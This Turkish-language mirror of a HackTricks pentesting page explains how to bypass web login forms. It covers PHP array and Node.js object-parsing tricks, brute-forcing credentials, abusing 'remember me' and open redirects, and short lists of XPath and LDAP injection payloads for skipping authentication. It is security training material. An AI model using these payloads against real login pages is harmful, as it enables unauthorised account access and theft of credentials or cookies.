mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
96 lines
4.6 KiB
Markdown
96 lines
4.6 KiB
Markdown
# Giriş Atlatma
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## **Normal girişi atlatma**
|
||
|
||
Bir giriş sayfası bulursanız, bunu atlatmak için deneyebileceğiniz bazı teknikler burada:
|
||
|
||
- Sayfa içindeki **yorumları** kontrol edin (aşağı kaydırın ve sağa mı?)
|
||
- **Kısıtlı sayfalara doğrudan erişip erişemeyeceğinizi** kontrol edin
|
||
- **Parametreleri göndermemeye** dikkat edin (hiç göndermeyin veya sadece 1 tane gönderin)
|
||
- **PHP karşılaştırma hatasını** kontrol edin: `user[]=a&pwd=b` , `user=a&pwd[]=b` , `user[]=a&pwd[]=b`
|
||
- **İçerik türünü json olarak değiştirin** ve json değerleri gönderin (bool true dahil)
|
||
- POST'un desteklenmediğini belirten bir yanıt alırsanız, **JSON'u gövdeye GET isteği ile** `Content-Type: application/json` ile göndermeyi deneyebilirsiniz
|
||
- Nodejs potansiyel ayrıştırma hatasını kontrol edin (okuyun [**şunu**](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4)): `password[password]=1`
|
||
- Nodejs bu yükü aşağıdaki gibi bir sorguya dönüştürecektir: ` SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` `` `**`password=password=1`**`;` bu da şifre bitinin her zaman doğru olmasını sağlar.
|
||
- Eğer bir JSON nesnesi gönderebiliyorsanız, girişi atlatmak için `"password":{"password": 1}` gönderebilirsiniz.
|
||
- Bu girişi atlatmak için hala **geçerli bir kullanıcı adı bilmeniz ve göndermeniz gerektiğini** unutmayın.
|
||
- `mysql.createConnection` çağrısında **`"stringifyObjects":true`** seçeneğini eklemek, **`Object` parametre olarak geçirildiğinde tüm beklenmedik davranışları engelleyecektir.**
|
||
- Kimlik bilgilerini kontrol edin:
|
||
- Kullanılan teknoloji/platformun [**varsayılan kimlik bilgileri**](../../generic-hacking/brute-force.md#default-credentials)
|
||
- **Yaygın kombinasyonlar** (root, admin, password, teknolojinin adı, bu şifrelerden biriyle varsayılan kullanıcı).
|
||
- **Cewl** kullanarak bir sözlük oluşturun, **varsayılan** kullanıcı adı ve şifreyi (varsa) ekleyin ve tüm kelimeleri **kullanıcı adı ve şifre** olarak kullanarak brute-force yapmayı deneyin.
|
||
- Daha büyük bir **sözlük** kullanarak **brute-force** yapın (**[**Brute force**](../../generic-hacking/brute-force.md#http-post-form)**)
|
||
|
||
### SQL Enjeksiyonu ile kimlik doğrulama atlatma
|
||
|
||
[Giriş atlatmak için **SQL enjeksiyonları** ile ilgili birkaç hile bulabilirsiniz](../sql-injection/#authentication-bypass).
|
||
|
||
Aşağıdaki sayfada **SQL Enjeksiyonları** ile giriş atlatmak için bir **özel liste** bulabilirsiniz:
|
||
|
||
{{#ref}}
|
||
sql-login-bypass.md
|
||
{{#endref}}
|
||
|
||
### NoSQL Enjeksiyonu ile kimlik doğrulama atlatma
|
||
|
||
[Giriş atlatmak için **NoSQL Enjeksiyonları** ile ilgili birkaç hile bulabilirsiniz](../nosql-injection.md#basic-authentication-bypass)**.**
|
||
|
||
NoSQL Enjeksiyonları parametre değerlerini değiştirmeyi gerektirdiğinden, bunları manuel olarak test etmeniz gerekecek.
|
||
|
||
### XPath Enjeksiyonu ile kimlik doğrulama atlatma
|
||
|
||
[Giriş atlatmak için **XPath Enjeksiyonu** ile ilgili birkaç hile bulabilirsiniz](../xpath-injection.md#authentication-bypass)
|
||
```
|
||
' or '1'='1
|
||
' or ''='
|
||
' or 1]%00
|
||
' or /* or '
|
||
' or "a" or '
|
||
' or 1 or '
|
||
' or true() or '
|
||
'or string-length(name(.))<10 or'
|
||
'or contains(name,'adm') or'
|
||
'or contains(.,'adm') or'
|
||
'or position()=2 or'
|
||
admin' or '
|
||
admin' or '1'='2
|
||
```
|
||
### LDAP Enjeksiyonu ile kimlik doğrulama atlatma
|
||
|
||
[Burada **LDAP Enjeksiyonu** ile giriş atlatmak için birkaç hile bulabilirsiniz.](../ldap-injection.md#login-bypass)
|
||
```
|
||
*
|
||
*)(&
|
||
*)(|(&
|
||
pwd)
|
||
*)(|(*
|
||
*))%00
|
||
admin)(&)
|
||
pwd
|
||
admin)(!(&(|
|
||
pwd))
|
||
admin))(|(|
|
||
```
|
||
### Beni Hatırla
|
||
|
||
Eğer sayfada "**Beni Hatırla**" işlevi varsa, nasıl uygulandığını kontrol edin ve bunu **diğer hesapları ele geçirmek** için kötüye kullanıp kullanamayacağınıza bakın.
|
||
|
||
### Yönlendirmeler
|
||
|
||
Sayfalar genellikle giriş yaptıktan sonra kullanıcıları yönlendirir, bu yönlendirmeyi değiştirip [**Açık Yönlendirme**](../open-redirect.md) oluşturup oluşturamayacağınızı kontrol edin. Kullanıcıyı kendi web sitenize yönlendirirseniz bazı bilgileri (kodlar, çerezler...) çalabilirsiniz.
|
||
|
||
## Diğer Kontroller
|
||
|
||
- Giriş işlevini kötüye kullanarak **kullanıcı adlarını** **numaralandırıp** numaralandıramayacağınızı kontrol edin.
|
||
- Şifre/**hassas** bilgiler **formları** için **otomatik tamamlama** özelliğinin aktif olup olmadığını kontrol edin: `<input autocomplete="false">`
|
||
|
||
## Otomatik Araçlar
|
||
|
||
- [HTLogin](https://github.com/akinerkisa/HTLogin)
|
||
|
||
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|